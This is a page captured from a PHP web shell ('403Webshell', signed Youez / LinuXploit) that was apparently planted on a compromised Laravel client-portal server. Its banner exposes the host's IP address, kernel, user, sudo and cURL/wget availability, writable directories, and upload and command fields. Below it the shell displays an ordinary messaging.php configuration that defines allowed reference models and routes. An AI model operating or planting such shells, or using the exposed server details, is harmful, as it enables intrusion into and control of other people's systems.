403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/client-portal-laravel/releases/20260626120707/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/client-portal-laravel/releases/20260626120707/config/messaging.php
<?php

declare(strict_types=1);

/**
 * Plan 278-E.3 — Reference attachment allowlist + route resolver registry.
 *
 * Each morph alias defines:
 *   - model:    FQCN of the target Eloquent model
 *   - policy:   ability name passed to Gate::allows / authorize
 *   - resolver: (optional) override resolver class. If absent we use
 *               DefaultRouteResolver with `label`/`route`/`icon` keys.
 *   - label:    column on the model that produces the display label
 *   - route:    array {portal: route name, admin: route name}
 *   - icon:     heroicon key for the chip
 *
 * Adding a new morph requires:
 *   1. Registering the alias in AppServiceProvider via Relation::morphMap
 *   2. Confirming a `view` policy exists on the target model
 *   3. Confirming portal + admin route names resolve via route()
 */

use App\Models\Communication\Conversation;
use App\Models\Invoicing\Invoice;
use App\Models\Projects\Project;
use App\Models\Projects\ProjectMilestone;
use App\Models\Websites\Website;
use App\Services\Communication\MessageReferences\DefaultRouteResolver;

return [
    'referenceable_morphs' => [

        'project' => [
            'model' => Project::class,
            'policy' => 'view',
            'resolver' => DefaultRouteResolver::class,
            'label' => 'name',
            'route' => [
                'portal' => 'portal.projects.show',
                'admin' => 'admin.projects.show',
            ],
            'icon' => 'briefcase',
        ],

        'invoice' => [
            'model' => Invoice::class,
            'policy' => 'view',
            'resolver' => DefaultRouteResolver::class,
            'label' => 'number',
            'route' => [
                'portal' => 'portal.invoices.show',
                'admin' => 'admin.invoices.show',
            ],
            'icon' => 'document-text',
        ],

        'conversation' => [
            'model' => Conversation::class,
            'policy' => 'view',
            'resolver' => DefaultRouteResolver::class,
            'label' => 'subject',
            'route' => [
                'portal' => 'portal.inbox.show',
                'admin' => 'admin.inbox.index',
            ],
            'icon' => 'chat-bubble',
        ],

        'website' => [
            'model' => Website::class,
            'policy' => 'view',
            'resolver' => DefaultRouteResolver::class,
            'label' => 'display_name',
            'route' => [
                'portal' => 'portal.websites.show',
                'admin' => 'admin.websites.show',
            ],
            'icon' => 'globe',
        ],

        // Milestone needs nested route params (project + milestone) — custom resolver.
        'milestone' => [
            'model' => ProjectMilestone::class,
            'policy' => 'view',
            'resolver' => \App\Services\Communication\MessageReferences\Resolvers\MilestoneRouteResolver::class,
            'icon' => 'flag',
        ],
    ],

    'reference_search' => [
        'min_query_length' => 2,
        'result_cap' => 25,
        'rate_per_minute' => 30,
    ],
];

Youez - 2016 - github.com/yon3zu
LinuXploit